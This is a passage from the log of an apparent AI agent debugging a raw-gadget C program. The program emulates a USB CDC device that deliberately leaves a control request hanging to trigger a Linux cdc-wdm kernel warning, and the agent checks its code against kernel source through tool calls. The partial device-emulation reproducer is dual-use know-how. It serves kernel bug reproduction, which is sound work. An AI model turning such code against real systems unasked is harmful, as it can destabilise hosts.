Now, a new concern: what if the event queue gets full? If the `gadget_thread` is blocked indefinitely in `ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io)`, it won't be able to fetch new events. This could lead to a deadlock or a situation where the device state never progresses.
Let's think about `USB_RAW_IOCTL_EP0_READ` for `USB_REQ_SET_ADDRESS`. The host sends the SETUP packet, then expects the status stage. The device is supposed to complete the status stage by queueing a zero-length request to EP0. `USB_RAW_IOCTL_EP0_READ` should then be waiting for this completion. Normally, the host's ACK of the zero-length IN packet (the status stage) would complete this request.
But then, I'm realizing that `USB_REQ_SET_ADDRESS` is often handled directly by the USB Device Controller (UDC) core or the gadget framework, and might not be entirely passed through to the user space in the same way other SETUP packets are. This makes me wonder if there's a specific interaction I'm missing within `raw-gadget` itself, specifically in `gadget_setup.c`, regarding how it routes or handles certain standard requests. I need to dive deeper into the `raw_gadget.c` implementation of `gadget_setup` to see the exact logic for request classification and dispatch.
|
| 295/5 |
2026/09/11 23:14 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:gadget_setup]
Results: map[SourceCode: 337: static int gadget_setup(struct usb_gadget *gadget,
338: const struct usb_ctrlrequest *ctrl)
339: {
340: int ret = 0;
341: struct raw_dev *dev = get_gadget_data(gadget);
342: unsigned long flags;
343:
344: spin_lock_irqsave(&dev->lock, flags);
345: if (dev->state != STATE_DEV_RUNNING) {
346: dev_err(&gadget->dev, "ignoring, device is not running\n");
347: ret = -ENODEV;
348: goto out_unlock;
349: }
350: if (dev->ep0_in_pending || dev->ep0_out_pending) {
351: dev_dbg(&gadget->dev, "stalling, request already pending\n");
352: ret = -EBUSY;
353: goto out_unlock;
354: }
355: if ((ctrl->bRequestType & USB_DIR_IN) && ctrl->wLength)
356: dev->ep0_in_pending = true;
357: else
358: dev->ep0_out_pending = true;
359: spin_unlock_irqrestore(&dev->lock, flags);
360:
361: ret = raw_queue_event(dev, USB_RAW_EVENT_CONTROL, sizeof(*ctrl), ctrl);
362: if (ret < 0)
363: dev_err(&gadget->dev, "failed to queue control event\n");
364: goto out;
365:
366: out_unlock:
367: spin_unlock_irqrestore(&dev->lock, flags);
368: out:
369: if (ret == 0 && ctrl->wLength == 0) {
370: /*
371: * Return USB_GADGET_DELAYED_STATUS as a workaround to stop
372: * some UDC drivers (e.g. dwc3) from automatically proceeding
373: * with the status stage for 0-length transfers.
374: * Should be removed once all UDC drivers are fixed to always
375: * delay the status stage until a response is queued to EP0.
376: */
377: return USB_GADGET_DELAYED_STATUS;
378: }
379: return ret;
380: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 296/5 |
2026/09/11 23:14 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 21735
output: 31
thoughts: 935
Thoughts: **My Thought Process Unpacked**
Okay, let's trace this whole convoluted path. I've been digging into why `gadget_setup` is behaving the way it is, and it seems like a classic dependency chain of events leading to a deadlock or a stall I wasn't initially anticipating.
My initial observation was about `gadget_setup` itself: when `wLength` is zero, it queues an event and returns `USB_GADGET_DELAYED_STATUS`. That's straightforward. But then I thought, "What happens if `wLength` is *not* zero? It returns `0`." And that's where the real intrigue begins. When it returns `0` in this case, the expectation is that the UDC driver *should* then queue a request.
Then I looked at `USB_RAW_IOCTL_EVENT_FETCH`. If this returns `-EINVAL`, it flags that `dev->state` isn't `STATE_DEV_RUNNING`. This immediately made me question *why* it wouldn't be running. The obvious culprit, I reasoned, is that `raw_queue_event` must have returned `-ENOMEM`, meaning the queue was full, and consequently, `STATE_DEV_FAILED` was set.
So, why would the queue be full? The logical next step was to consider what could cause `raw_queue_event` to be blocked or delayed. This led me to the gadget thread being stuck in either `USB_RAW_IOCTL_EP0_READ` or `USB_RAW_IOCTL_EP0_WRITE`. And why would it be stuck there? Because the host simply hasn't completed the transfer.
Now, I remembered a specific piece of my own C code:
```c
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
// Do nothing, let the host's URB hang active indefinitely
}
```
This code snippet is key. If `resp_count` is greater than zero, my gadget thread is literally doing *nothing*. It just loops back to `USB_RAW_IOCTL_EVENT_FETCH`. But here's the crucial part: if it does nothing, it doesn't queue a response to EP0. If no response is queued, `dev->ep0_in_pending` remains `true`.
And *that's* the critical loop. When `dev->ep0_in_pending` stays `true`, the *next* time the host sends a SETUP packet, `gadget_setup` encounters this condition:
```c
if (dev->ep0_in_pending || dev->ep0_out_pending) {
dev_dbg(&gadget->dev, "stalling, request already pending\n");
ret = -EBUSY;
goto out_unlock;
}
```
It then correctly returns `-EBUSY` and, importantly, *does not queue the event*.
Now, back to the original problem: if the event isn't queued, the queue doesn't get full, which contradicts my earlier assumption. So, where is the disconnect? My thought process shifted: if the gadget thread does nothing, it goes back to `USB_RAW_IOCTL_EVENT_FETCH`. It fetches the next event. But here's the catch: there *are no more events* because the host is currently hanging, waiting for the response to the *previous* SETUP packet!
This means the host won't send further SETUP packets. And consequently, the gadget thread, stuck in its loop, will just block indefinitely in `USB_RAW_IOCTL_EVENT_FETCH`.
However, my `strace` output shows an *infinite loop* of `USB_RAW_IOCTL_EVENT_FETCH` returning `-EINVAL`, not blocking. This implies it's returning immediately. And why would it return `-EINVAL`? Because, as established, `dev->state != STATE_DEV_RUNNING`. This strongly suggests that `STATE_DEV_FAILED` *must* have been set at some point.
So, I’m now systematically reviewing all the possible places where `STATE_DEV_FAILED` could be set:
1. `raw_queue_event`: if `raw_event_queue_add` fails because the queue is full. (This seems to be the most likely candidate I was chasing).
2. `raw_ioctl_run`: if `usb_gadget_register_driver` fails. But I specifically checked the return value of `USB_RAW_IOCTL_RUN`, and it didn't fail, so this is ruled out.
3. `raw_ioctl_event_fetch`: if `raw_event_queue_fetch` returns `IS_ERR(event)`. This is the next point of investigation. I need to dive into the `raw_event_queue_fetch` function to understand what `IS_ERR(event)` could signify in this context.
|
| 297/5 |
2026/09/11 23:14 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:raw_event_queue_fetch]
Results: map[SourceCode: 89: static struct usb_raw_event *raw_event_queue_fetch(
90: struct raw_event_queue *queue)
91: {
92: int ret;
93: unsigned long flags;
94: struct usb_raw_event *event;
95:
96: /*
97: * This function can be called concurrently. We first check that
98: * there's at least one event queued by decrementing the semaphore,
99: * and then take the lock to protect queue struct fields.
100: */
101: ret = down_interruptible(&queue->sema);
102: if (ret)
103: return ERR_PTR(ret);
104: spin_lock_irqsave(&queue->lock, flags);
105: /*
106: * queue->size must have the same value as queue->sema counter (before
107: * the down_interruptible() call above), so this check is a fail-safe.
108: */
109: if (WARN_ON(!queue->size)) {
110: spin_unlock_irqrestore(&queue->lock, flags);
111: return ERR_PTR(-ENODEV);
112: }
113: event = queue->events[0];
114: queue->size--;
115: memmove(&queue->events[0], &queue->events[1],
116: queue->size * sizeof(queue->events[0]));
117: spin_unlock_irqrestore(&queue->lock, flags);
118: return event;
119: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 298/5 |
2026/09/11 23:14 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 23174
output: 32
thoughts: 710
Thoughts: **My Thought Process Regarding Potential EP0 Issues**
I've been examining a particular scenario where a `WARN_ON(!queue->size)` condition might be triggering, leading to a `-ENODEV` return and setting `STATE_DEV_FAILED`. My initial assessment was that this `WARN_ON` is primarily a fail-safe and shouldn't typically be encountered.
However, I've been digging deeper and I'm now considering the implications of the `raw_process_ep0_io` function, specifically these checks:
```c
if (WARN_ON(in && dev->ep0_out_pending)) {
ret = -ENODEV;
dev->state = STATE_DEV_FAILED;
goto out_unlock;
}
if (WARN_ON(!in && dev->ep0_in_pending)) {
ret = -ENODEV;
dev->state = STATE_DEV_FAILED;
goto out_unlock;
}
```
This has led me to re-evaluate my own C code, where I handle USB requests:
```c
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
// ...
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
// ...
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
// ...
} else {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
```
Now, a critical thought has emerged: what happens when `req->bRequestType & USB_DIR_IN` is true, but `req->wLength` is zero? I've noticed that in such a case, `gadget_setup` sets `ep0_out_pending = true`. The logic for this is:
```c
if ((ctrl->bRequestType & USB_DIR_IN) && ctrl->wLength)
dev->ep0_in_pending = true;
else
dev->ep0_out_pending = true;
```
This directly impacts the flow. If `req->bRequestType & USB_DIR_IN` is true and `req->wLength == 0`, my code will enter the `if (req->bRequestType & USB_DIR_IN)` block. It could then potentially fall into the `else` part of the inner `if/else if/else` structure:
```c
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
```
The concern here is that `USB_RAW_IOCTL_EP0_STALL` itself doesn't explicitly differentiate between `in` and `out` requests; it simply performs a stall. This could lead to a situation where `ep0_out_pending` is true (due to `wLength` being zero and the direction being `IN`), and the code attempts to stall, which might then trigger the `WARN_ON(in && dev->ep0_out_pending)` condition in `raw_process_ep0_io`.
I need to investigate the exact behavior of `raw_ioctl_ep0_stall` and how it interacts with the state variables `ep0_in_pending` and `ep0_out_pending` in the context of this specific zero-length `IN` request.
|
| 299/5 |
2026/09/11 23:14 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:raw_ioctl_ep0_stall]
Results: map[SourceCode: 796: static int raw_ioctl_ep0_stall(struct raw_dev *dev, unsigned long value)
797: {
798: int ret = 0;
799: unsigned long flags;
800:
801: if (value)
802: return -EINVAL;
803: spin_lock_irqsave(&dev->lock, flags);
804: if (dev->state != STATE_DEV_RUNNING) {
805: dev_dbg(dev->dev, "fail, device is not running\n");
806: ret = -EINVAL;
807: goto out_unlock;
808: }
809: if (!dev->gadget) {
810: dev_dbg(dev->dev, "fail, gadget is not bound\n");
811: ret = -EBUSY;
812: goto out_unlock;
813: }
814: if (dev->ep0_urb_queued) {
815: dev_dbg(&dev->gadget->dev, "fail, urb already queued\n");
816: ret = -EBUSY;
817: goto out_unlock;
818: }
819: if (!dev->ep0_in_pending && !dev->ep0_out_pending) {
820: dev_dbg(&dev->gadget->dev, "fail, no request pending\n");
821: ret = -EBUSY;
822: goto out_unlock;
823: }
824:
825: ret = usb_ep_set_halt(dev->gadget->ep0);
826: if (ret < 0)
827: dev_err(&dev->gadget->dev,
828: "fail, usb_ep_set_halt returned %d\n", ret);
829:
830: if (dev->ep0_in_pending)
831: dev->ep0_in_pending = false;
832: else
833: dev->ep0_out_pending = false;
834:
835: out_unlock:
836: spin_unlock_irqrestore(&dev->lock, flags);
837: return ret;
838: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 300/5 |
2026/09/11 23:14 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 24584
output: 29
thoughts: 1573
Thoughts: **My Thought Process on USB Raw IOCTL Handling**
I've been digging into the behavior of `raw_ioctl_ep0_stall`, and I initially thought it didn't correctly set `STATE_DEV_FAILED`. That led me down a rabbit hole, and I need to trace the logic carefully.
My primary concern arose from a specific scenario: what if a request comes in where `req->bRequestType` has the `USB_DIR_IN` bit set, `req->wLength` is zero, *and* the request is `USB_REQ_GET_DESCRIPTOR`? I quickly realized that `GET_DESCRIPTOR` requests fundamentally *always* have `wLength > 0`, so that particular combination is impossible.
However, my attention then shifted to another potential edge case: what if the request matches `req->bRequestType == 0xA1` and `req->bRequest == 0x01`? This combination, `USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE` combined with `USB_CDC_GET_ENCAPSULATED_RESPONSE`, is interesting. My current code would then check if `wLength == 0`. If it is, it sets `ep0_out_pending` to `true`.
Now, let's look at my actual code for handling this:
```c
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
```
If `req->wLength` is indeed 0, then `io.length` becomes 0. The code then proceeds to call `USB_RAW_IOCTL_EP0_WRITE`. The critical part here is that `USB_RAW_IOCTL_EP0_WRITE` internally sets an `in = true` flag. But at this point, `ep0_out_pending` is true! This directly triggers `WARN_ON(in && dev->ep0_out_pending)`, which, as expected, sets `STATE_DEV_FAILED`.
Now, let's re-evaluate `GET_ENCAPSULATED_RESPONSE`. Generally, this command expects a non-zero `wLength`. However, if the host *does* send it with `wLength == 0`, my current logic incorrectly triggers the `WARN_ON`. To mitigate this, I should definitely check `req->wLength` *before* calling `USB_RAW_IOCTL_EP0_WRITE`.
Actually, a more fundamental issue might be the general `ep0_in_pending` vs `ep0_out_pending` logic itself. Looking at the `gadget_setup` function, I see this:
```c
if ((ctrl->bRequestType & USB_DIR_IN) && ctrl->wLength)
dev->ep0_in_pending = true;
else
dev->ep0_out_pending = true;
```
This logic dictates that if the request is an IN request *and* has a data stage (`wLength` is non-zero), `ep0_in_pending` should be set. Otherwise, `ep0_out_pending` is set.
This implies a strict rule: if `(req->bRequestType & USB_DIR_IN) && req->wLength` evaluates to true, I *must* use `USB_RAW_IOCTL_EP0_WRITE`. Conversely, if it's false, I *must* use `USB_RAW_IOCTL_EP0_READ`. I need to refactor my C code to adhere to this precisely.
Here's how I'm updating my C code to reflect this stricter logic:
```c
if ((req->bRequestType & USB_DIR_IN) && req->wLength) {
// This is an IN request with a data stage, so we expect to WRITE data back to the host.
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
// For other GET_DESCRIPTOR requests that we don't support, STALL.
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
// Handling USB_CDC_GET_ENCAPSULATED_RESPONSE.
static int resp_count = 0;
if (resp_count == 0) {
// For the first response, send some data.
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
// After the first response, we do nothing. This will leave the URB hanging.
// This is intended to simulate a device that stops responding to this specific request.
}
} else {
// For any other unsupported IN request with a data stage, STALL.
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else {
// This is an OUT request OR a zero-length IN/OUT request. We expect to READ data from the host.
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
// For SET_CONFIGURATION, we need to read the configuration value.
io.length = req->wLength; // wLength will be 0 or 1 for SET_CONFIGURATION.
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
// After reading, we proceed to configure the gadget.
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
// Enable the IN endpoint after configuration.
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
// Signal that the gadget is ready.
event_set(&gadget_ready);
}
} else {
// For any other OUT request or zero-length request, read the data.
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
```
Now, what happens if `resp_count > 0` in the `GET_ENCAPSULATED_RESPONSE` case? My code explicitly does nothing:
```c
} else {
// Do nothing, let the host's URB hang active indefinitely
}
```
If I don't call `USB_RAW_IOCTL_EP0_WRITE` or `USB_RAW_IOCTL_EP0_STALL`, it means `ep0_in_pending` will remain `true` from the initial setup phase. This is where I encountered the problem: the next time the host attempts to send a SETUP packet, `gadget_setup` will return `-EBUSY` because `ep0_in_pending` is still set, and it won't queue the event.
However, I had a moment of clarity: if the host is expecting IN data and is waiting for it, it won't send another SETUP packet! Its URB will simply remain active and pending.
But then I remembered the actual bug I was observing: `URB ffff888112540000 submitted while active` with a `WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb`. This error occurs within `service_outstanding_interrupt` which then calls `wdm_read`, and ultimately `vfs_read`. It seems `service_outstanding_interrupt` is where the interrupt URB submission is happening.
My current focus is on ensuring the `ep0_in_pending` and `ep0_out_pending` flags are managed correctly based on the direction and data stage of the USB control requests, and that the appropriate `ioctl` calls (`USB_RAW_IOCTL_EP0_WRITE` vs. `USB_RAW_IOCTL_EP0_READ`) are made accordingly. The interaction with `service_outstanding_interrupt` and the URB submission warnings are a subsequent issue I need to investigate once the basic control transfer handling is solid.
|
| 301/5 |
2026/09/11 23:15 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:service_outstanding_interrupt]
Results: map[SourceCode: 485: /*
486: * Submit the read urb if resp_count is non-zero.
487: *
488: * Called with desc->iuspin locked
489: */
490: static int service_outstanding_interrupt(struct wdm_device *desc)
491: {
492: int rv = 0;
493:
494: /* submit read urb only if the device is waiting for it */
495: if (!desc->resp_count || !--desc->resp_count)
496: goto out;
497:
498: if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
499: rv = -ENODEV;
500: goto out;
501: }
502: if (test_bit(WDM_RESETTING, &desc->flags)) {
503: rv = -EIO;
504: goto out;
505: }
506:
507: set_bit(WDM_RESPONDING, &desc->flags);
508: spin_unlock_irq(&desc->iuspin);
509: rv = usb_submit_urb(desc->response, GFP_KERNEL);
510: spin_lock_irq(&desc->iuspin);
511: if (rv) {
512: if (!test_bit(WDM_DISCONNECTING, &desc->flags))
513: dev_err(&desc->intf->dev,
514: "usb_submit_urb failed with result %d\n", rv);
515:
516: /* make sure the next notification trigger a submit */
517: clear_bit(WDM_RESPONDING, &desc->flags);
518: desc->resp_count = 0;
519: }
520: out:
521: return rv;
522: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 302/5 |
2026/09/11 23:15 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 26751
output: 50
thoughts: 64
Thoughts: **My Thought Process Unpacked**
My initial reaction upon seeing the `service_outstanding_interrupt` function submit a URB was one of immediate, focused inquiry. The URB in question was `desc->response`. My immediate thought was, "Is this the *specific* control URB designated for the `GET_ENCAPSULATED_RESPONSE` command?" This wasn't a casual question; it was a critical juncture in my understanding. The implications of this URB's purpose would dictate the flow and interpretation of the data being handled. To confirm this crucial detail, I knew I needed to trace its origin. My next logical step, therefore, was to meticulously examine the `wdm_create` function, or indeed any relevant allocation point, to definitively ascertain how and where `desc->response` was being provisioned. This would be the key to verifying my hypothesis about its role in encapsulating responses.
|
| 303/5 |
2026/09/11 23:15 |
tool |
codesearch-find-references |
0m
Error:
Args: map[ContextFile: IncludeSnippetLines:2 Name:response SourceTreePrefix:drivers/usb/class/cdc-wdm.c]
Results: map[References:<nil> TruncatedOutput:false]
|
| 304/5 |
2026/09/11 23:15 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 26864
output: 35
thoughts: 25
Thoughts: **My Thought Process on `desc->response` in `drivers/usb/class/cdc-wdm.c`**
Alright, so I'm diving into the `cdc-wdm.c` driver, specifically looking for how this `desc->response` member is being utilized. My immediate instinct is to pinpoint where this structure member is being set and, more importantly, where it's being read or acted upon. This is crucial for understanding the flow of information related to a USB CDC-WDM device's responses, likely in the context of control messages or notifications. I'll be looking for patterns like assignment statements (`=`) to see what data is being populated into `desc->response`, and then tracking those pointers or values to understand how the driver consumes them. My goal is to map out the lifecycle of this `desc->response` field within the driver's logic.
|
| 305/5 |
2026/09/11 23:16 |
tool |
grepper |
0m
Args: map[Expression:desc->response PathPrefix:drivers/usb/class/cdc-wdm.c]
Results: map[Output:drivers/usb/class/cdc-wdm.c=251=static void wdm_int_callback(struct urb *urb)
--
drivers/usb/class/cdc-wdm.c-317- && !test_bit(WDM_SUSPENDING, &desc->flags)) {
drivers/usb/class/cdc-wdm.c:318: rv = usb_submit_urb(desc->response, GFP_ATOMIC);
drivers/usb/class/cdc-wdm.c-319- dev_dbg(&desc->intf->dev, "submit response URB %d\n", rv);
--
drivers/usb/class/cdc-wdm.c=343=static void poison_urbs(struct wdm_device *desc)
--
drivers/usb/class/cdc-wdm.c-347- usb_poison_urb(desc->validity);
drivers/usb/class/cdc-wdm.c:348: usb_poison_urb(desc->response);
drivers/usb/class/cdc-wdm.c-349-}
--
drivers/usb/class/cdc-wdm.c=351=static void unpoison_urbs(struct wdm_device *desc)
--
drivers/usb/class/cdc-wdm.c-356- */
drivers/usb/class/cdc-wdm.c:357: usb_unpoison_urb(desc->response);
drivers/usb/class/cdc-wdm.c-358- usb_unpoison_urb(desc->validity);
--
drivers/usb/class/cdc-wdm.c=362=static void free_urbs(struct wdm_device *desc)
--
drivers/usb/class/cdc-wdm.c-364- usb_free_urb(desc->validity);
drivers/usb/class/cdc-wdm.c:365: usb_free_urb(desc->response);
drivers/usb/class/cdc-wdm.c-366- usb_free_urb(desc->command);
--
drivers/usb/class/cdc-wdm.c=490=static int service_outstanding_interrupt(struct wdm_device *desc)
--
drivers/usb/class/cdc-wdm.c-508- spin_unlock_irq(&desc->iuspin);
drivers/usb/class/cdc-wdm.c:509: rv = usb_submit_urb(desc->response, GFP_KERNEL);
drivers/usb/class/cdc-wdm.c-510- spin_lock_irq(&desc->iuspin);
--
drivers/usb/class/cdc-wdm.c=983=static void wdm_rxwork(struct work_struct *work)
--
drivers/usb/class/cdc-wdm.c-996- if (!responding)
drivers/usb/class/cdc-wdm.c:997: rv = usb_submit_urb(desc->response, GFP_KERNEL);
drivers/usb/class/cdc-wdm.c-998- if (rv < 0 && rv != -EPERM) {
--
drivers/usb/class/cdc-wdm.c=1025=static int wdm_create(struct usb_interface *intf, struct usb_endpoint_descriptor *ep,
--
drivers/usb/class/cdc-wdm.c-1065-
drivers/usb/class/cdc-wdm.c:1066: desc->response = usb_alloc_urb(0, GFP_KERNEL);
drivers/usb/class/cdc-wdm.c:1067: if (!desc->response)
drivers/usb/class/cdc-wdm.c-1068- goto err;
--
drivers/usb/class/cdc-wdm.c-1103- usb_fill_control_urb(
drivers/usb/class/cdc-wdm.c:1104: desc->response,
drivers/usb/class/cdc-wdm.c-1105- interface_to_usbdev(intf),
]
|
| 306/5 |
2026/09/11 23:16 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 27924
output: 36
thoughts: 147
Thoughts: **My Thought Process**
Okay, so I'm looking at this piece of code, specifically this `usb_fill_control_urb` call. My immediate reaction is, "Aha! This is definitely a control URB." I can tell this because the function itself is `usb_fill_control_urb`, which is a pretty direct indicator.
Furthermore, I'm confident it's a control URB targeting endpoint 0 (EP0). The way the `usb_rcvctrlpipe` function is used, with a pipe endpoint of `0`, strongly suggests this. This is the standard way to initiate control transfers in USB, and EP0 is dedicated to them.
Now, I'm also seeing that `desc->irq` is being passed as the third argument to `usb_fill_control_urb`, which in the context of a control URB, represents the setup packet. This is the initial command or data that kicks off the control transfer.
My next step, which is crucial for a complete understanding, is to verify how `desc->irq` is being initialized. I need to see what exactly is being put into that setup packet to understand the intended operation of this control transfer. This will tell me what kind of command is being sent or what data is being requested.
|
| 307/5 |
2026/09/11 23:16 |
tool |
grepper |
0m
Args: map[Expression:desc->irq PathPrefix:drivers/usb/class/cdc-wdm.c]
Results: map[Output:drivers/usb/class/cdc-wdm.c=369=static void cleanup(struct wdm_device *desc)
--
drivers/usb/class/cdc-wdm.c-373- kfree(desc->orq);
drivers/usb/class/cdc-wdm.c:374: kfree(desc->irq);
drivers/usb/class/cdc-wdm.c-375- kfree(desc->ubuf);
--
drivers/usb/class/cdc-wdm.c=1025=static int wdm_create(struct usb_interface *intf, struct usb_endpoint_descriptor *ep,
--
drivers/usb/class/cdc-wdm.c-1057- goto err;
drivers/usb/class/cdc-wdm.c:1058: desc->irq = kmalloc_obj(struct usb_ctrlrequest);
drivers/usb/class/cdc-wdm.c:1059: if (!desc->irq)
drivers/usb/class/cdc-wdm.c-1060- goto err;
--
drivers/usb/class/cdc-wdm.c-1096-
drivers/usb/class/cdc-wdm.c:1097: desc->irq->bRequestType = (USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE);
drivers/usb/class/cdc-wdm.c:1098: desc->irq->bRequest = USB_CDC_GET_ENCAPSULATED_RESPONSE;
drivers/usb/class/cdc-wdm.c:1099: desc->irq->wValue = 0;
drivers/usb/class/cdc-wdm.c:1100: desc->irq->wIndex = desc->inum; /* already converted */
drivers/usb/class/cdc-wdm.c:1101: desc->irq->wLength = cpu_to_le16(desc->wMaxCommand);
drivers/usb/class/cdc-wdm.c-1102-
--
drivers/usb/class/cdc-wdm.c-1107- usb_rcvctrlpipe(interface_to_usbdev(desc->intf), 0),
drivers/usb/class/cdc-wdm.c:1108: (unsigned char *)desc->irq,
drivers/usb/class/cdc-wdm.c-1109- desc->inbuf,
]
|
| 308/5 |
2026/09/11 23:16 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 28709
output: 28
thoughts: 129
Thoughts: **My Thought Process on the USB CDC Encapsulated Response**
So, I'm looking at this snippet here: `desc->irq->bRequestType = (USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE);` followed by `desc->irq->bRequest = USB_CDC_GET_ENCAPSULATED_RESPONSE;` and then `desc->irq->wLength = cpu_to_le16(desc->wMaxCommand);`.
My immediate thought is, "Okay, this is clearly a setup for a USB Control transfer, specifically a Get Descriptor request, and it's targeting a Class-specific request for an Interface." The `USB_DIR_IN` flag tells me I'm expecting data *from* the device, `USB_TYPE_CLASS` signifies a device class-specific command (which makes perfect sense for CDC), and `USB_RECIP_INTERFACE` means this request is directed at the interface level. The `USB_CDC_GET_ENCAPSULATED_RESPONSE` value for `bRequest` solidifies it – I'm asking for an encapsulated response from the CDC device.
Then I see `desc->irq->wLength = cpu_to_le16(desc->wMaxCommand);`. This line is key. It's stating that the length of the data I expect to receive in this `GET_ENCAPSULATED_RESPONSE` is determined by `desc->wMaxCommand`.
My next question, a natural follow-up for someone who understands USB descriptors, is: "Where does `desc->wMaxCommand` come from?" It's not immediately obvious from this specific code block. My internal knowledge base immediately flags this as a value that *must* be parsed from a relevant descriptor. Given the context of `USB_CDC_GET_ENCAPSULATED_RESPONSE`, I'm strongly suspecting it's related to the CDC (Abstract Control Model) functional descriptors.
My thought process then leads me to consider the origin of this `desc` structure. It's likely being populated during the device enumeration process. Therefore, I need to trace back where `desc->wMaxCommand` itself is initialized. The comment `It's parsed from the CDC header descriptor!` is a direct hint provided in the original text, confirming my suspicion. Specifically, I'm thinking about the CDC Header Functional Descriptor, which often contains information about the maximum size of commands or responses.
Finally, to fully understand this, I know I need to look at the code responsible for parsing those CDC descriptors, which is indicated by the next step: `Let's check wdm_create`. This `wdm_create` function is likely where the `desc` structure, and specifically `desc->wMaxCommand`, gets populated by reading and interpreting the CDC functional descriptors provided by the USB device. This would be the crucial step to verify the actual value and how it's derived.
|
| 309/5 |
2026/09/11 23:16 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:wdm_create]
Results: map[SourceCode:1025: static int wdm_create(struct usb_interface *intf, struct usb_endpoint_descriptor *ep,
1026: u16 bufsize, enum wwan_port_type type,
1027: int (*manage_power)(struct usb_interface *, int))
1028: {
1029: int rv = -ENOMEM;
1030: struct wdm_device *desc;
1031:
1032: desc = kzalloc_obj(struct wdm_device);
1033: if (!desc)
1034: goto out;
1035: INIT_LIST_HEAD(&desc->device_list);
1036: mutex_init(&desc->rlock);
1037: mutex_init(&desc->wlock);
1038: spin_lock_init(&desc->iuspin);
1039: init_waitqueue_head(&desc->wait);
1040: desc->wMaxCommand = bufsize;
1041: /* this will be expanded and needed in hardware endianness */
1042: desc->inum = cpu_to_le16((u16)intf->cur_altsetting->desc.bInterfaceNumber);
1043: desc->intf = intf;
1044: desc->wwanp_type = type;
1045: INIT_WORK(&desc->rxwork, wdm_rxwork);
1046: INIT_WORK(&desc->service_outs_intr, service_interrupt_work);
1047:
1048: if (!usb_endpoint_is_int_in(ep)) {
1049: rv = -EINVAL;
1050: goto err;
1051: }
1052:
1053: desc->wMaxPacketSize = usb_endpoint_maxp(ep);
1054:
1055: desc->orq = kmalloc_obj(struct usb_ctrlrequest);
1056: if (!desc->orq)
1057: goto err;
1058: desc->irq = kmalloc_obj(struct usb_ctrlrequest);
1059: if (!desc->irq)
1060: goto err;
1061:
1062: desc->validity = usb_alloc_urb(0, GFP_KERNEL);
1063: if (!desc->validity)
1064: goto err;
1065:
1066: desc->response = usb_alloc_urb(0, GFP_KERNEL);
1067: if (!desc->response)
1068: goto err;
1069:
1070: desc->command = usb_alloc_urb(0, GFP_KERNEL);
1071: if (!desc->command)
1072: goto err;
1073:
1074: desc->ubuf = kmalloc(desc->wMaxCommand, GFP_KERNEL);
1075: if (!desc->ubuf)
1076: goto err;
1077:
1078: desc->sbuf = kmalloc(desc->wMaxPacketSize, GFP_KERNEL);
1079: if (!desc->sbuf)
1080: goto err;
1081:
1082: desc->inbuf = kmalloc(desc->wMaxCommand, GFP_KERNEL);
1083: if (!desc->inbuf)
1084: goto err;
1085:
1086: usb_fill_int_urb(
1087: desc->validity,
1088: interface_to_usbdev(intf),
